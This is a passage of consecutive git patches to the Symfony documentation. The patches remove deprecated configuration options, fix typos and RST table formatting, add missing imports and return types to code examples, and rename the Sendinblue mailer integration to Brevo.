+is much more advanced, but requires to install this dependency in your project:
+
+.. code-block:: terminal
+
+    $ composer require nikic/php-parser
+
+.. deprecated:: 6.2
+
+    The ``PhpExtractor`` class is deprecated since Symfony 6.2. The ``PhpAstExtractor``
+    class will be the only PHP extractor available starting from Symfony 7.0.
 
 You can create your own extractor by creating a class that implements
 :class:`Symfony\\Component\\Translation\\Extractor\\ExtractorInterface`

From 16cb242026fa13653de2922dbed9a9194afb6348 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:39:43 +0200
Subject: [PATCH 3472/5766] [Twig] Remove the deprecated autoescape option

---
 reference/configuration/twig.rst | 31 -------------------------------
 1 file changed, 31 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index cc079da6745..d36584a7f6c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -33,37 +33,6 @@ compiled again automatically.
 
 .. _config-twig-autoescape:
 
-autoescape
-~~~~~~~~~~
-
-.. deprecated:: 6.1
-
-    This option is deprecated since Symfony 6.1. If required, use the
-    ``autoescape_service`` or ``autoescape_service_method`` option instead.
-
-**type**: ``boolean`` or ``string`` **default**: ``name``
-
-If set to ``false``, automatic escaping is disabled (you can still escape each content
-individually in the templates).
-
-.. caution::
-
-    Setting this option to ``false`` is dangerous and it will make your
-    application vulnerable to `XSS attacks`_ because most third-party bundles
-    assume that auto-escaping is enabled and they don't escape contents
-    themselves.
-
-If set to a string, the template contents are escaped using the strategy with
-that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
-and ``name``. The default value is ``name``. This strategy escapes contents
-according to the template name extension (e.g. it uses ``html`` for ``*.html.twig``
-templates and ``js`` for ``*.js.twig`` templates).
-
-.. tip::
-
-    See `autoescape_service`_ and `autoescape_service_method`_ to define your
-    own escaping strategy.
-
 autoescape_service
 ~~~~~~~~~~~~~~~~~~
 

From 4dcc7b8e15a7dd4c29cad5fd561c09b2070c8580 Mon Sep 17 00:00:00 2001
From: rodmar35 <rodolphe.marsollier@gmail.com>
Date: Wed, 5 Jul 2023 18:10:19 +0200
Subject: [PATCH 3473/5766] Update entity.rst

Add "use Doctrine\ORM\QueryBuilder " dependencies else we have an error : "Return value must be of type App\Form\QueryBuilder, Doctrine\ORM\QueryBuilder returned"
---
 reference/forms/types/entity.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 71317b51da3..78c2b4dbf6c 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -53,6 +53,7 @@ the `query_builder`_ option::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
+    use Doctrine\ORM\QueryBuilder;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     // ...
 

From 88408715d43bf8d3c16a7e17ef5a3812be078f54 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 5 Jul 2023 18:16:24 +0200
Subject: [PATCH 3474/5766] [Messenger] Remove remaining deprecations

---
 messenger.rst                | 12 ------------
 messenger/multiple_buses.rst |  3 ---
 2 files changed, 15 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 5a84e517415..95ae08a8ea8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1718,12 +1718,6 @@ during a request::
         }
     }
 
-.. versionadded:: 6.3
-
-    The namespace of the ``InMemoryTransport`` class changed in Symfony 6.3 from
-    ``Symfony\Component\Messenger\Transport\InMemoryTransport`` to
-    ``Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport``.
-
 The transport has a number of options:
 
 ``serialize`` (boolean, default: ``false``)
@@ -2020,12 +2014,6 @@ A single handler class can handle multiple messages. For that add the
         }
     }
 
-.. deprecated:: 6.2
-
-    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`
-    is another way to handle multiple messages with one handler class. This
-    interface was deprecated in Symfony 6.2.
-
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 49e4d3e568e..42ff8dc85d4 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -133,9 +133,6 @@ you can restrict each handler to a specific bus using the ``messenger.message_ha
         services:
             App\MessageHandler\SomeCommandHandler:
                 tags: [{ name: messenger.message_handler, bus: command.bus }]
-                # prevent handlers from being registered twice (or you can remove
-                # the MessageHandlerInterface that autoconfigure uses to find handlers)
-                autoconfigure: false
 
     .. code-block:: xml
 

From 3114363e638d57e601ed9e2d5aa706a4a8397297 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 5 Jul 2023 21:43:02 +0200
Subject: [PATCH 3475/5766] Fix comma space

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index b81934520e9..d63648b40cb 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1534,7 +1534,7 @@ that requires HTTPlug dependencies::
     }
 
 Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements the
-three interfaces,you can use it this way::
+three interfaces, you can use it this way::
 
     use Symfony\Component\HttpClient\HttplugClient;
 

From 48992b8c5f458f11cdbcdebf8fee7a3c5fd1339b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Jul 2023 11:21:22 +0200
Subject: [PATCH 3476/5766] Add a missing import

---
 reference/forms/types/entity.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index a524e3e02d0..6bfff7cf296 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -53,6 +53,7 @@ the `query_builder`_ option::
 
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
+    use Doctrine\ORM\QueryBuilder;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     // ...
 

From db47478951f9f0aa3eb643a7a6864e9e2e569170 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 6 Jul 2023 13:08:03 +0200
Subject: [PATCH 3477/5766] [Serializer] Add needed method and return types

---
 serializer/custom_normalizer.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 0168e0c7447..7534002da20 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -30,7 +30,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         ) {
         }
 
-        public function normalize($topic, string $format = null, array $context = [])
+        public function normalize($topic, string $format = null, array $context = []): array
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -42,10 +42,17 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = [])
+        public function supportsNormalization($data, string $format = null, array $context = []): bool
         {
             return $data instanceof Topic;
         }
+
+        public function getSupportedTypes(?string $format): array
+        {
+            return [
+                Topic::class => true,
+            ];
+        }
     }
 
 Registering it in your Application

From a3c2a8d84a9e9b6f8434775cace41a7ab7187279 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 6 Jul 2023 13:37:45 +0200
Subject: [PATCH 3478/5766] [Lock] Mention `gcProbability` option and
 deprecation

---
 components/lock.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 79e14c33536..31a9baea334 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -460,7 +460,7 @@ avoid stalled locks::
 
     $mongo = 'mongodb://localhost/database?collection=lock';
     $options = [
-        'gcProbablity' => 0.001,
+        'gcProbability' => 0.001,
         'database' => 'myapp',
         'collection' => 'lock',
         'uriOptions' => [],
@@ -470,16 +470,22 @@ avoid stalled locks::
 
 The ``MongoDbStore`` takes the following ``$options`` (depending on the first parameter type):
 
-=============  ================================================================================================
-Option         Description
-=============  ================================================================================================
-gcProbablity   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+==============  ================================================================================================
+Option          Description
+==============  ================================================================================================
+gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+gcProbablity   Same as ``gcProbability``, see the deprecation note below
 database       The name of the database
 collection     The name of the collection
 uriOptions     Array of URI options for `MongoDBClient::__construct`_
 driverOptions  Array of driver options for `MongoDBClient::__construct`_
 =============  ================================================================================================
 
+.. deprecated:: 6.3
+
+    The "gcProbablity" option (notice the typo in its name) is deprecated since
+    Symfony 6.3, use the "gcProbability" option instead.
+
 When the first parameter is a:
 
 ``MongoDB\Collection``:
@@ -879,7 +885,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
 .. tip::
 
     ``MongoDbStore`` will attempt to automatically create a TTL index. It's
-    recommended to set constructor option ``gcProbablity`` to ``0.0`` to
+    recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
 .. caution::

From d8d96eabeba71e585f0bc3c4e751ec4cf2f0dd3b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Jul 2023 15:46:35 +0200
Subject: [PATCH 3479/5766] Minor tweak

---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 31a9baea334..293eaeed84e 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -483,8 +483,8 @@ driverOptions  Array of driver options for `MongoDBClient::__construct`_
 
 .. deprecated:: 6.3
 
-    The "gcProbablity" option (notice the typo in its name) is deprecated since
-    Symfony 6.3, use the "gcProbability" option instead.
+    The ``gcProbablity`` option (notice the typo in its name) is deprecated since
+    Symfony 6.3, use the ``gcProbability`` option instead.
 
 When the first parameter is a:
 

From fe05ab0d3d996d2b1499a8aa51fec74d92097514 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 08:45:40 +0200
Subject: [PATCH 3480/5766] [HttpClient] Remove mentions to RequestFactory

---
 http_client.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a6676e42fdd..6832c7999b2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1503,26 +1503,24 @@ Let's say you want to instantiate a class with the following constructor,
 that requires HTTPlug dependencies::
 
     use Http\Client\HttpClient;
-    use Http\Message\RequestFactory;
     use Http\Message\StreamFactory;
 
     class SomeSdk
     {
         public function __construct(
             HttpClient $httpClient,
-            RequestFactory $requestFactory,
             StreamFactory $streamFactory
         )
         // [...]
     }
 
-Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements the
-three interfaces, you can use it this way::
+Because :class:`Symfony\\Component\\HttpClient\\HttplugClient` implements these
+interfaces,you can use it this way::
 
     use Symfony\Component\HttpClient\HttplugClient;
 
     $httpClient = new HttplugClient();
-    $apiClient = new SomeSdk($httpClient, $httpClient, $httpClient);
+    $apiClient = new SomeSdk($httpClient, $httpClient);
 
 If you'd like to work with promises, :class:`Symfony\\Component\\HttpClient\\HttplugClient`
 also implements the ``HttpAsyncClient`` interface. To use it, you need to install the

From 77769de09eb2e1f2571d8b1c372e2d2e617087ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jun 2023 16:29:12 +0200
Subject: [PATCH 3481/5766] [Doctrine] Deprecate Doctrine lifecycle subscribers

---
 doctrine/events.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 53a3dc5b32e..3a2c66cceac 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -110,6 +110,11 @@ define a callback for the ``prePersist`` Doctrine event:
 Doctrine Lifecycle Listeners
 ----------------------------
 
+.. deprecated:: 6.3
+
+    Lifecycle subscribers are deprecated starting from Symfony 6.3 and will be
+    removed in Symfony 7.0. Use lifecycle listeners instead.
+
 Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
 event on all the application entities. For example, suppose that you want to
 update some search index whenever a new entity is persisted in the database. To

From e4f0386293dcdbae694ca7b16112276e4301b659 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 6 Jul 2023 18:57:16 +0200
Subject: [PATCH 3482/5766] [Lock] Remove deprecated option

---
 components/lock.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 293eaeed84e..f92d024aac8 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -474,18 +474,12 @@ The ``MongoDbStore`` takes the following ``$options`` (depending on the first pa
 Option          Description
 ==============  ================================================================================================
 gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
-gcProbablity   Same as ``gcProbability``, see the deprecation note below
 database       The name of the database
 collection     The name of the collection
 uriOptions     Array of URI options for `MongoDBClient::__construct`_
 driverOptions  Array of driver options for `MongoDBClient::__construct`_
 =============  ================================================================================================
 
-.. deprecated:: 6.3
-
-    The ``gcProbablity`` option (notice the typo in its name) is deprecated since
-    Symfony 6.3, use the ``gcProbability`` option instead.
-
 When the first parameter is a:
 
 ``MongoDB\Collection``:

From a7390b2f91883328773a949a65daf16c33e9a698 Mon Sep 17 00:00:00 2001
From: Guillaume Aveline <guillaume@codr.fr>
Date: Thu, 6 Jul 2023 21:53:55 +0200
Subject: [PATCH 3483/5766] Malformed table: content in "components/lock.rst"

---
 components/lock.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 293eaeed84e..491dc506833 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -473,13 +473,13 @@ The ``MongoDbStore`` takes the following ``$options`` (depending on the first pa
 ==============  ================================================================================================
 Option          Description
 ==============  ================================================================================================
-gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
-gcProbablity   Same as ``gcProbability``, see the deprecation note below
-database       The name of the database
-collection     The name of the collection
-uriOptions     Array of URI options for `MongoDBClient::__construct`_
-driverOptions  Array of driver options for `MongoDBClient::__construct`_
-=============  ================================================================================================
+gcProbability   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+gcProbablity    Same as ``gcProbability``, see the deprecation note below
+database        The name of the database
+collection      The name of the collection
+uriOptions      Array of URI options for `MongoDBClient::__construct`_
+driverOptions   Array of driver options for `MongoDBClient::__construct`_
+=============   ================================================================================================
 
 .. deprecated:: 6.3
 

From a3e5a060e970e0ec63183ac4fbd81871d958b95a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:35:41 +0200
Subject: [PATCH 3484/5766] [Translation] Update the PHP extraction information
 for Symfony 7.0

---
 reference/dic_tags.rst | 15 ++++-----------
 1 file changed, 4 insertions(+), 11 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7b953e20e3c..b003ca683b2 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1071,23 +1071,16 @@ file
 
 When executing the ``translation:extract`` command, it uses extractors to
 extract translation messages from a file. By default, the Symfony Framework
-has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a PHP
-extractor to find and extract translation keys from Twig templates and PHP files.
+has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` to find and
+extract translation keys from Twig templates.
 
-Symfony includes two PHP extractors: :class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`
-and :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`. The
-first one is simple but doesn't require to install any packages; the second one
-is much more advanced, but requires to install this dependency in your project:
+If you also want to find and extract translation keys from PHP files, install
+the following dependency to activate the :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`:
 
 .. code-block:: terminal
 
     $ composer require nikic/php-parser
 
-.. deprecated:: 6.2
-
-    The ``PhpExtractor`` class is deprecated since Symfony 6.2. The ``PhpAstExtractor``
-    class will be the only PHP extractor available starting from Symfony 7.0.
-
 You can create your own extractor by creating a class that implements
 :class:`Symfony\\Component\\Translation\\Extractor\\ExtractorInterface`
 and tagging the service with ``translation.extractor``. The tag has one

From 699a89fa7c1f7b694171287634c3d8e90e2b58c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 15:05:23 +0200
Subject: [PATCH 3485/5766] Update the default value of the
 http_method_override option

---
 reference/configuration/framework.rst | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 03f46ae6d31..d7431bb264d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -172,7 +172,7 @@ Cache-Control extension (see RFC 5861).
 http_method_override
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: (see explanation below)
+**type**: ``boolean`` **default**: ``false``
 
 This determines whether the ``_method`` request parameter is used as the
 intended HTTP method on POST requests. If enabled, the
@@ -180,18 +180,6 @@ intended HTTP method on POST requests. If enabled, the
 method gets called automatically. It becomes the service container parameter
 named ``kernel.http_method_override``.
 
-The **default value** is:
-
-* ``true``, if you have an existing application that you've upgraded from an older
-  Symfony version without resyncing the :doc:`Symfony Flex </setup/flex>` recipes;
-* ``false``, if you've created a new Symfony application or updated the Symfony
-  Flex recipes. This is also the default value starting from Symfony 7.0.
-
-.. deprecated:: 6.1
-
-    Not setting a value explicitly for this option is deprecated since Symfony 6.1
-    because the default value will change to ``false`` in Symfony 7.0.
-
 .. seealso::
 
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of

From c34c5cb9320dd3a66e48ee7bdd1a16d1006e2789 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Fri, 7 Jul 2023 12:08:46 +0200
Subject: [PATCH 3486/5766] [Testing] Mention the
 `KernelBrowser::disableReboot` method

---
 testing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/testing.rst b/testing.rst
index fb041937052..8a5a7b904c8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -622,6 +622,7 @@ This allows you to create all types of requests you can think of:
     Also, it means that entities loaded by Doctrine repositories will
     be "detached", so they will need to be refreshed by the manager or
     queried again from a repository.
+    You can disable this behavior by calling the :method:`disableReboot() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot>` method.
 
 Browsing the Site
 .................

From 23a08b9b5d20176d5e3378146a785c308bd5a53d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 14:30:20 +0200
Subject: [PATCH 3487/5766] Fixing typo

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index bafc2671c2b..a39df3496ba 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -34,7 +34,7 @@ To install the AssetMapper component, run:
 
     $ composer require symfony/asset-mapper symfony/asset symfony/twig-pack
 
-In addition to ``symfony/asset-mapper`, this also makes sure that you have the
+In addition to ``symfony/asset-mapper``, this also makes sure that you have the
 :doc:`Asset Component </components/asset>` and Twig available.
 
 If you're using :ref:`Symfony Flex <symfony-flex>`, you're done! The recipe just

From 1cd266d57342c4b6a51c8dcca67af8d79bb22d58 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 14:38:09 +0200
Subject: [PATCH 3488/5766] Importmaps => import maps

That's the official spelling, see https://html.spec.whatwg.org/multipage/webappapis.html#import-maps

Besides, this sounded weird:
> Importmaps is a native browser feature.
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index bafc2671c2b..bdcd2dc85b1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -267,9 +267,9 @@ outputs an `importmap`_:
         }
     }</script>
 
-Importmaps is a native browser feature. It works in all browsers thanks to
+Import maps are a native browser feature. They work in all browsers thanks to
 a "shim" file that's included automatically by the AssetMapper component
-(all *modern* browsers `support it natively <https://caniuse.com/import-maps>`_).
+(all *modern* browsers `support them natively <https://caniuse.com/import-maps>`_).
 
 When you import ``bootstrap`` from your JavaScript, the browser will look at
 the ``importmap`` and see that it should fetch the package from the URL.

From ed1a2de8a66ad8c86b977265b174ea8dc59ea9d2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 14:42:04 +0200
Subject: [PATCH 3489/5766] Minor

Page: https://symfony.com/doc/current/frontend/asset_mapper.html
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index bafc2671c2b..b7761556693 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,7 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `es module shim`_ and a few other things, like a set of "preloads":
+an `ES module shim`_ and a few other things, like a set of "preloads":
 
 .. code-block:: html
 
@@ -1127,7 +1127,7 @@ This will force the AssetMapper component to re-calculate the content of all fil
 .. _npm package: https://www.npmjs.com
 .. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap
 .. _bootstrap: https://www.npmjs.com/package/bootstrap
-.. _es module shim: https://www.npmjs.com/package/es-module-shims
+.. _ES module shim: https://www.npmjs.com/package/es-module-shims
 .. _jsdelivr.com: https://www.jsdelivr.com/
 .. _highlight.js: https://www.npmjs.com/package/highlight.js
 .. _class syntax: https://caniuse.com/es6-class

From bf3857111f5bfb49caee73160cf2c6b9655a6f31 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 16:26:28 +0200
Subject: [PATCH 3490/5766] Minor

Probably necessary after https://github.com/symfony/symfony-docs/pull/18533
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 57a88f77f23..b7ca7a8a1c9 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -693,7 +693,7 @@ Does the AssetMapper Component work in All Browsers?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Yup! Features like importmaps and the ``import`` statement are supported
-in all modern browsers, but the AssetMapper component ships with an `es module shim`_
+in all modern browsers, but the AssetMapper component ships with an `ES module shim`_
 to support ``importmap`` in old browsers. So, it works everywhere (see note
 below).
 

From 6009a47525271d52e3c42ed8c4766b196ca184b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Jul 2023 19:59:28 +0200
Subject: [PATCH 3491/5766] [Lock] Fix RST syntax

---
 components/lock.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 293eaeed84e..b504abbfc74 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -470,9 +470,9 @@ avoid stalled locks::
 
 The ``MongoDbStore`` takes the following ``$options`` (depending on the first parameter type):
 
-==============  ================================================================================================
-Option          Description
-==============  ================================================================================================
+=============  ================================================================================================
+Option         Description
+=============  ================================================================================================
 gcProbability  Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
 gcProbablity   Same as ``gcProbability``, see the deprecation note below
 database       The name of the database

From e2968569ccb2539825a71ad13945cd959d120fdb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 7 Jul 2023 15:50:41 +0200
Subject: [PATCH 3492/5766] Minor typo

---
 contributing/documentation/format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index f6492ec4277..8df3fb45610 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -21,7 +21,7 @@ tutorial and the `reStructuredText Reference`_.
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
 
-    * Lists starts at the beginning of a line (no indentation is allowed);
+    * Lists start at the beginning of a line (no indentation is allowed);
     * Inline code blocks use double-ticks (````like this````).
 
 Sphinx

From 82c1ce4f1f720f83af58ea0c25c5fd8a36888919 Mon Sep 17 00:00:00 2001
From: marco-pm <53403229+marco-pm@users.noreply.github.com>
Date: Sat, 8 Jul 2023 21:25:53 +0200
Subject: [PATCH 3493/5766] [Doctrine] Fix line numbers in example

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 74bbd073373..8fd010c3dd5 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -395,13 +395,13 @@ Take a look at the previous example in more detail:
   the controller method. This object is responsible for saving objects to, and
   fetching objects from, the database.
 
-* **lines 17-20** In this section, you instantiate and work with the ``$product``
+* **lines 15-18** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
 
-* **line 23** The ``persist($product)`` call tells Doctrine to "manage" the
+* **line 21** The ``persist($product)`` call tells Doctrine to "manage" the
   ``$product`` object. This does **not** cause a query to be made to the database.
 
-* **line 26** When the ``flush()`` method is called, Doctrine looks through
+* **line 24** When the ``flush()`` method is called, Doctrine looks through
   all of the objects that it's managing to see if they need to be persisted
   to the database. In this example, the ``$product`` object's data doesn't
   exist in the database, so the entity manager executes an ``INSERT`` query,

From 10ef90402757fff05099661829ffb6f86911a8f3 Mon Sep 17 00:00:00 2001
From: blaugueux <laugueux.benjamin@gmail.com>
Date: Thu, 1 Jun 2023 02:44:32 +0200
Subject: [PATCH 3494/5766] [Mailer] Rename Sendinlue to Brevo

---
 mailer.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d5fdbaed8c4..a25da67e54a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -103,6 +103,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
+`Brevo`_              ``composer require symfony/brevo-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
@@ -111,7 +112,6 @@ Service               Install with
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
-`Sendinblue`_         ``composer require symfony/sendinblue-mailer``
 ===================== ==============================================
 
 .. versionadded:: 6.2
@@ -124,6 +124,11 @@ Service               Install with
 
     The MailerSend integration was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``Brevo`` integration was renamed in Symfony 6.4 (in previous
+    Symfony versions it was called ``Sendinblue``).
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -176,6 +181,10 @@ party provider:
 |                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
 |                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
 +------------------------+-----------------------------------------------------+
+| `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
+|                        | - HTTP n/a                                          |
+|                        | - API brevo+api://KEY@default                       |
++------------------------+-----------------------------------------------------+
 | `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
 |                        | - HTTP n/a                                          |
 |                        | - API n/a                                           |
@@ -212,10 +221,6 @@ party provider:
 |                        | - HTTP n/a                                          |
 |                        | - API sendgrid+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
-| `Sendinblue`_          | - SMTP sendinblue+smtp://USERNAME:PASSWORD@default  |
-|                        | - HTTP n/a                                          |
-|                        | - API sendinblue+api://KEY@default                  |
-+------------------------+-----------------------------------------------------+
 
 .. versionadded:: 6.3
 
@@ -1501,11 +1506,11 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
+* Brevo
 * Mailchimp
 * Mailgun
 * Postmark
 * Sendgrid
-* Sendinblue
 
 The following transports only support tags:
 
@@ -1855,6 +1860,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
+.. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Brevo/README.md
